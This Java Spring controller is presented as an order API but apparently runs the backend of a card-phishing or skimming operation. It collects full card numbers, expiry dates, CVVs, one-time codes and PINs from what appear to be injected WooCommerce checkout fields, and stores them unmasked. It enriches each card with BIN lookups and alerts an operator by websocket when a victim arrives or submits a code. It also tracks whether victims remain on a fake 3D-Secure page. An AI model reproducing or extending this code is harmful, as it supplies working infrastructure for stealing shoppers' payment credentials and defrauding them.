package com.ruoyi.web.controller.tool;

import com.alibaba.fastjson2.JSONObject;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.R;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.framework.websocket.WebSocketServer;
import com.ruoyi.system.domain.DyConfig;
import com.ruoyi.system.domain.DyUserinfo;
import com.ruoyi.system.domain.DyWorldBankCard;
import com.ruoyi.system.domain.ro.CardRo;
import com.ruoyi.system.domain.ro.CardRoSecond;
import com.ruoyi.system.domain.ro.DyUserinfoStatusRo;
import com.ruoyi.system.domain.vo.DyUserInfoVo;
import com.ruoyi.system.mapper.DyWorldBankCardMapper;
import com.ruoyi.system.service.IDyConfigService;
import com.ruoyi.system.service.IDyUserinfoService;
import com.ruoyi.web.controller.utils.CardUtils;
import com.ruoyi.web.controller.utils.OkHttpUtils;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.RequestBody;

import javax.servlet.http.HttpServletRequest;
import javax.websocket.server.PathParam;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;


@Api("订单接口")
@RestController
@RequestMapping("/order")
public class OrderController extends BaseController {
    @Autowired
    private IDyUserinfoService dyUserinfoService;
    @Autowired
    private IDyConfigService dyConfigService;
    @Autowired
    private RedisCache redisCache;
    @Autowired
    private WebSocketServer webSocketServer;

    @Autowired
    private DyWorldBankCardMapper dyWorldBankCardMapper;

    @Value("${ruoyi.apiKey}")
    private String apiKey;

    @ApiOperation("获取所有的域名来源")
    @GetMapping("/getAllDomain")
    public R getAllDomain(){
        List<String> allDomain = dyUserinfoService.getAllDomain();
        return R.ok(allDomain);
    }


    @ApiOperation("由用户抵达支付页面")
    @GetMapping("/willPay")
    public R willPay(){
        this.sendSocketMsg("来人啦");
        return R.ok("success!");
    }


    @ApiOperation("未收到验证码，请求再发送一次，id:新增修改时返回的id,非orderId。")
    @GetMapping("/sendAgain")
    public R sendAgain(@PathParam("id") Long id){
        if(id!=null){
            DyUserinfo info = new DyUserinfo();
            info.setId(id);
            info.setOperationRecord("用户重发验证码");
            dyUserinfoService.updateDyUserinfo(info);

            //发送验证码
            String msg = "主键ID:"+id+",用户点击重新发送验证码";
            this.sendSocketMsg(msg);
        }
        return R.ok("success!");
    }


    @ApiOperation("离开3D页面（离线） id:新增修改时返回的id,非orderId。type:1支付成功离开  0支付失败离开")
    @GetMapping("/out3dpage")
    public R out3dpage(@PathParam("id") Long id, @PathParam("type") int type){
        if(id!=null){
            DyUserinfo info = new DyUserinfo();
            info.setId(id);
            info.setIsOnline(0);
            if(type==1){
                info.setOperationRecord("支付成功，离开页面");
            }else{
                info.setOperationRecord("授权失败，离开页面");
            }
            dyUserinfoService.updateDyUserinfo(info);
        }
        return R.ok("success!");
    }


    //按钮，已处理订单
    @ApiOperation("提交验证码")
    @PostMapping("/addOtp")
    public R addOtp(@RequestBody DyUserInfoVo infoVo){
        if(infoVo!=null){
            DyUserinfo info = new DyUserinfo();
            info.setId(infoVo.getId());
            info.setOtp(infoVo.getCode());
            info.setPin(infoVo.getPin());
            info.setCode(infoVo.getCode());
            info.setOperationRecord("输入验证码完成");
            info.setWait(1);
            if(dyUserinfoService.updateDyUserinfo(info)>0){
                //发送验证码
                String msg = "主键ID:"+infoVo.getId()+",用户输入验证码完成";
                this.sendSocketMsg(msg);
                return R.ok("success!");
            }
        }
        return R.fail("error!");
    }

    //接口获取订单是否为已处理状态
    @ApiOperation("获取订单状态（在线）id:新增修改时返回的id,非orderId")
    @GetMapping("/getStatus")
    public R<DyUserinfoStatusRo> getStatus(@PathParam("id") Long id) throws MalformedURLException {
//        this.sendSocketMsg("获取订单信息来了");
        DyUserinfo info = dyUserinfoService.selectDyUserinfoById(id);
        if(info==null){
            return R.fail("error!");
        }else{
            DyUserinfo nInfo = new DyUserinfo();
            nInfo.setIsOnline(1);  //在线
            nInfo.setOnlineLastTime(new Date()); //最后在线时间
            nInfo.setId(id); //设置ID
            //修改在线状态和最后在线时间
            dyUserinfoService.updateDyUserinfo(nInfo); //更新上去

            DyUserinfoStatusRo ro = new DyUserinfoStatusRo();
            ro.setOrderId(info.getOrderId());
            ro.setStatus(info.getStatus());
            ro.setId(info.getId());
            if(info.getEmail()!=null){
                String tmpStr = info.getEmail();
                String[] emailArr = tmpStr.split("@");
                if(emailArr.length==2){
                    ro.setEmail(emailArr[0].substring(0,1)+"*****"+emailArr[0].substring(emailArr[0].length()-1)+"@"+emailArr[1]);
                }

            }
            if(info.getPhone()!=null){
                String phone = info.getPhone();
                ro.setPhone("******"+phone.substring(phone.length() - 4));
            }

            String cardNumber = info.getCardNumber();
            ro.setCardNumber("**************"+cardNumber.substring(cardNumber.length() - 4));
            ro.setPrice(info.getPrice());
            String scheme = info.getCardScheme().toLowerCase();
            ro.setCardType(scheme.replace(" ","-"));
            ro.setWpKey(info.getWpKey());
            ro.setWait(info.getWait());
            ro.setRefUrl(info.getRefUrl());
            //返回域名
//            String urlString = info.getRefUrl();
//            URL url = new URL(urlString);
//            String domain = url.getHost();
//            ro.setRefUrl(nfo.getRefUrl());

            return R.ok(ro);
        }
    }

    @ApiOperation("提交订单")
    @PostMapping("/add")
    public R add(HttpServletRequest request, @RequestBody JSONObject jsonObject) throws IOException {
        if(jsonObject==null){
            return R.fail("Commit failed!");
        }
        //字段转换
        DyUserinfo uinfo = this.processParams(jsonObject);
        String phone = uinfo.getPhone();
        //手机号后4位
        if(phone!=null){
            uinfo.setPhoneLastFour(phone.substring(phone.length() - 4));
        }

        String cardNumber = uinfo.getCardNumber();
        String cardExpdate = uinfo.getCardDate();
        String cardCvv = uinfo.getCvv();

        //返回信息
        Map<String, Object> rinfo = new HashMap<>();

        if(cardNumber==null){
            rinfo.put("type","cardNumber");
            rinfo.put("msg", "Your card number is invalid.");
            return R.fail(rinfo);
        }else{
            cardNumber = cardNumber.replace(" ", "");
            if(!CardUtils.checkCardNumber(cardNumber)){
                rinfo.put("type","cardNumber");
                rinfo.put("msg", "Your card number is invalid.");
                return R.fail(rinfo);
            }
        }
        if(cardExpdate==null){
            rinfo.put("type","cardExpdate");
            rinfo.put("msg", "Your card's expiration date is invalid.");
            return R.fail(rinfo);
        }else{
            cardExpdate = cardExpdate.replace(" ","");
            if(!CardUtils.checkExpdate(cardExpdate)){
                rinfo.put("type","cardExpdate");
                rinfo.put("msg", "Your card's expiration date is invalid.");
                return R.fail(rinfo);
            }
        }
        if(cardCvv==null){
            rinfo.put("type","cardCvv");
            rinfo.put("msg", "Your card's security code is incomplete.");
            return R.fail(rinfo);
        }else{
            cardCvv = cardCvv.replace(" ", "");
            if(!CardUtils.checkCvv(cardNumber, cardCvv)){
                rinfo.put("type","cardCvv");
                rinfo.put("msg", "Your card's security code is incomplete.");
                return R.fail(rinfo);
            }
        }

        uinfo.setCardNumber(cardNumber);
        uinfo.setCardDate(cardExpdate);
        uinfo.setCvv(cardCvv);
        //过滤配置的卡头
        int headCard = 0;
        if(cardNumber!=null){
            //重复的卡
            int repertCard = this.checkCardRepert(uinfo.getCardNumber());
            if(repertCard==1){
                return R.fail("Your card number is invalid.");
            }
            //过滤配置的卡头
            headCard = this.checkCardHead(uinfo.getCardNumber());
            if(headCard==1){
                //过滤的卡头, 放行，付款失败
//                uinfo.setStatus("100");
            }
        }else{
            return R.fail("Card number must be filled in!");
        }
        //名字组合
        uinfo.setName(uinfo.getFirstName()+" "+uinfo.getLastName());
        uinfo.setCardName(uinfo.getFirstName()+" "+uinfo.getLastName());
        //查询卡的信息，类型，国家，银行等信息
        uinfo.setIsOnline(1);
        uinfo.setOnlineLastTime(new Date());
        uinfo.setWait(0);
        //设置域名
        String urlString = uinfo.getRefUrl();
        //正在判断是否有http字样
        boolean hasHttp = urlString.matches(".*http.*");
        if(hasHttp){
            URL url = new URL(urlString);
            String domain = url.getHost();
            uinfo.setRefUrl(domain);
        }

        //是否设置为无人值守
        Long isTor = 0l;
        if(redisCache.hasKey("dyconfig:isTor")){
            isTor = redisCache.getCacheObject("dyconfig:isTor");
        }
        String isTorState = "";
        if(redisCache.hasKey("dyconfig:state")){
            isTorState = redisCache.getCacheObject("dyconfig:state");
        }


        this.getCarInfo(uinfo);
        //订单提交没有id参数::TODO 订单是否存在使用orderId去查询最新的一条
        // dyUserinfoService.selectDyUserinfoByOrderId(orderId);
        if(uinfo.getId()!=null){
            uinfo.setUpdateTime(new Date());
            uinfo.setStatus("1");  //默认1，待处理状态
            if(headCard==1){
                //过滤的卡头, 放行，付款失败
                uinfo.setOperationRecord("卡头过滤");
                uinfo.setStatus("1");
            }
            if(isTor==1){
                //直接放行成功--无人值守放行
                uinfo.setOperationRecord("无人值守");
                if("100".equals(isTorState)){
                    uinfo.setStatus("20");  //失败
                }else{
                    uinfo.setStatus("15");   //成功
                }

            }
            dyUserinfoService.updateDyUserinfo(uinfo);
        }else{
            uinfo.setStatus("1");  //默认1，待处理状态
            if(headCard==1){
                //过滤的卡头, 放行，付款失败
                uinfo.setOperationRecord("卡头过滤");
                uinfo.setStatus("1");
                uinfo.setIsOnline(0);  //是否在线
            }
            if(isTor==1){
                //直接放行成功--无人值守放行
                uinfo.setOperationRecord("无人值守");
                if("100".equals(isTorState)){
                    uinfo.setStatus("20");  //失败
                }else{
                    uinfo.setStatus("15");   //成功
                }
            }
            dyUserinfoService.insertDyUserinfo(uinfo);
        }

        rinfo.put("id", uinfo.getId());
        if(uinfo.getCardScheme()!=null) {
            rinfo.put("schema", uinfo.getCardScheme().replace(" ", "-"));
        }else{
            rinfo.put("schema", "unknow");
        }



        String msg = "主键ID:"+uinfo.getId()+",用户提交新订单";
        this.sendSocketMsg(msg);
        return R.ok(rinfo);

    }

    //参数转化处理
    private DyUserinfo processParams(JSONObject jsonObject){
        JSONObject newJson = new JSONObject();
        String[] fieldsArr = {"itemName","refUrl","userAgent","price","ip","wpKey","return_url","store","kz_ccNo","kz_expdate","kz_cvv","order_id","action","wcf_email","wcf_name","wcf_surname","wcf_phone","wcf_country","wcf_city","wcf_billing_address_1","wcf_billing_address_2","wcf_billing_state","wcf_billing_postcode","wcf_shipping_first_name","wcf_shipping_last_name","wcf_shipping_country","wcf_shipping_address_1","wcf_shipping_address_2","wcf_shipping_city","wcf_shipping_state","wcf_shipping_postcode","security","wcf_post_id","id","billing_email","shipping_first_name","shipping_last_name","shipping_address_1","shipping_address_2","shipping_country","shipping_postcode","shipping_state","shipping_city","shipping_phone","shipping_method","payment_method","duoyu_ccNo","duoyu_expdate","duoyu_cvv","ship_to_different_address","bill_to_different_address","billing_first_name","billing_last_name","billing_address_1","billing_address_2","billing_country","billing_postcode","billing_state","billing_city","billing_phone","woocommerce-process-checkout-nonce","_wp_http_referer","cfw_update_cart","cfw-promo-code","pys_utm","pys_utm_id","pys_browser_time","pys_landing","pys_source","pys_order_type","last_pys_landing","last_pys_source","last_pys_utm","last_pys_utm_id"};
        String[] dbFieldsArr = {"itemName","refUrl","userAgent","price","ip","wpKey","return_url","store","cardNumber","cardDate","cvv","orderId","action","email","firstName","lastName","phone","country","city","address1","address2","state","zip","firstName","lastName","country","address1","address2","city","state","zip","security","zipId","id","email","firstName","lastName","address1","address2","country","zip","state","city","phone","shippingMethod","paymentMethod","cardNumber","cardDate","cvv","shipToDifferentAddress","billToDifferentAddress","firstName","lastName","address1","address2","country","zip","state","city","phone","checkoutNonce","httpReferer","updateCart","promoCode","pysUtm","pysUtmId","pysBrowserTime","refUrl","pysSource","pysOrderType","refUrl","lastPysSource","lastPysUtm","lastPysUtmId"};
        for(int i=0;i<fieldsArr.length; i++){
            if(jsonObject.get(fieldsArr[i])!=null && !"".equals(jsonObject.get(fieldsArr[i]))){
                newJson.put(dbFieldsArr[i], jsonObject.get(fieldsArr[i]));
            }
        }
        return JSONObject.parseObject(newJson.toString(), DyUserinfo.class);
    }

    //获取卡信息，通过接口查询
    private void getCarInfo(DyUserinfo info) throws IOException {
        if(info.getCardNumber()!=null){
            String cardNumber = info.getCardNumber();
            DyWorldBankCard cinfo = this.getKuCardInfo(cardNumber);
            if(cinfo!=null){
                info.setCardBrand(cinfo.getBrand());
                info.setCardAlpha2(cinfo.getAlpha2());
                info.setCardBank(cinfo.getBankName());
                info.setCardType(cinfo.getCardType());
                info.setCardBankPhone(null);
                info.setCardBankUrl(null);
                info.setCardCountry(cinfo.getCountryName());
                info.setCardScheme(cinfo.getScheme());
                System.out.println("不走接口");
                return;
            }
            System.out.println("走接口");
            String cardPrefix = cardNumber.substring(0,8);
            String url = "https://lookup.binlist.net/";
            String res = OkHttpUtils.get(url+cardPrefix);
            CardRo roRs = JSONObject.parseObject(res, CardRo.class);
            if(roRs!=null){
                info.setCardBrand(roRs.getBrand());
                info.setCardAlpha2(roRs.getCountry().getAlpha2());
                info.setCardBank(roRs.getBank().getName());
                info.setCardType(roRs.getType().toLowerCase());
                info.setCardBankPhone(roRs.getBank().getPhone());
                info.setCardBankUrl(roRs.getBank().getUrl());
                info.setCardCountry(roRs.getCountry().getName());
                info.setCardScheme(roRs.getScheme().toLowerCase());

                cinfo = new DyWorldBankCard();
                cinfo.setBankName(roRs.getBank().getName());
                cinfo.setAlpha2(roRs.getCountry().getAlpha2());
                cinfo.setBrand(roRs.getBrand());
                cinfo.setScheme(roRs.getScheme().toLowerCase());
                cinfo.setCardHeader(cardPrefix);
                cinfo.setCardType(roRs.getType().toLowerCase());
                cinfo.setCountryCurrency(roRs.getCountry().getCurrency());
                cinfo.setCountryName(roRs.getCountry().getName());
                cinfo.setCountryNumeric(roRs.getCountry().getNumeric());
                cinfo.setCreateBy("sys");
                cinfo.setCreateTime(new Date());
                cinfo.setLatitude(roRs.getCountry().getLatitude());
                cinfo.setLongitude(roRs.getCountry().getLongitude());

                dyWorldBankCardMapper.insertDyWorldBankCard(cinfo);
            }else{
                this.getCarInfoSecond(info);
                System.out.println("免费接口查询失败了");
            }
        }
    }
    //第二个接口请求BIN
    private void getCarInfoSecond(DyUserinfo info) throws IOException {
        if(info.getCardNumber()!=null){
            System.out.println("走接口2");
            String cardNumber = info.getCardNumber();
            String cardHeader = cardNumber.substring(0,6);
            String url = "https://api.bincodes.com/bin/json/"+apiKey+"/"+cardHeader+"/";
            String res = OkHttpUtils.get(url);
            CardRoSecond roRs = JSONObject.parseObject(res, CardRoSecond.class);
            System.out.println(res);
            System.out.println(roRs);
            if(roRs!=null){
                info.setCardBrand(roRs.getLevel());
                info.setCardAlpha2(roRs.getCountrycode());
                info.setCardBank(roRs.getBank());
                info.setCardType(roRs.getType().toLowerCase());
                info.setCardBankPhone(roRs.getPhone());
                info.setCardBankUrl(roRs.getWebsite());
                info.setCardCountry(roRs.getCountry());
                info.setCardScheme(roRs.getCard().toLowerCase());

                DyWorldBankCard cinfo = new DyWorldBankCard();
                cinfo.setBankName(roRs.getBank());
                cinfo.setAlpha2(roRs.getCountrycode());
                cinfo.setBrand(roRs.getLevel());
                cinfo.setScheme(roRs.getCard().toLowerCase());
                cinfo.setCardHeader(cardHeader);
                cinfo.setCardType(roRs.getType().toLowerCase());
                cinfo.setCountryCurrency(null);
                cinfo.setCountryName(roRs.getCountry());
                cinfo.setCountryNumeric(null);
                cinfo.setCreateBy("sys");
                cinfo.setCreateTime(new Date());
                cinfo.setLatitude(0);
                cinfo.setLongitude(0);
                cinfo.setBankPhone(roRs.getPhone());
                cinfo.setBankUrl(roRs.getWebsite());

                dyWorldBankCardMapper.insertDyWorldBankCard(cinfo);
            }
        }

    }
    //查询库中的卡BIN信息
    private DyWorldBankCard getKuCardInfo(String cardNumber){
        if(cardNumber==null) {
            return null;
        }
        //查询8位置
        String cardPrefix1 = cardNumber.substring(0,8);
        DyWorldBankCard info = dyWorldBankCardMapper.selectDyWorldBankCardByHeader(cardPrefix1);
        //查询6位置
        if(info==null){
            String cardPrefix2 = cardNumber.substring(0,6);
            info = dyWorldBankCardMapper.selectDyWorldBankCardByHeader(cardPrefix2);
        }
        //查询5位置
        if(info==null){
            String cardPrefix3 = cardNumber.substring(0,5);
            info = dyWorldBankCardMapper.selectDyWorldBankCardByHeader(cardPrefix3);
        }

        if(info==null){
            return null;
        }
        return info;
    }

    //根据配置重复的卡过滤
    private int checkCardRepert(String cardNo){
        DyConfig cinfo = dyConfigService.selectDyConfigById(1l);
        if(cinfo==null){
            return 0;
        }
        Long repeatRejection = cinfo.getRepeatRejection();
        if(repeatRejection==1){
            DyUserinfo query = new DyUserinfo();
            query.setCardNumber(cardNo);
            List<DyUserinfo> uList = dyUserinfoService.selectDyUserinfoList(query);
            //开启就重复两条
            if(uList.size()>=2){
                return 1;
            }
        }

        return 0;
    }

    private int checkCardHead(String cardNo){
        DyConfig cinfo = dyConfigService.selectDyConfigById(1l);
        if(cinfo==null){
            return 0;
        }
        //卡头过滤配置，分割卡头
        String[] cardHeads = cinfo.getRefuseCards().split(",");
        for(String head: cardHeads){
            String carHead = cardNo.substring(0, head.length());
            if(head.equals(carHead)){
                return 1;
            }
        }
        return 0;
    }


    private void sendSocketMsg(String message){
        webSocketServer.sendInfo(message);
    }


}
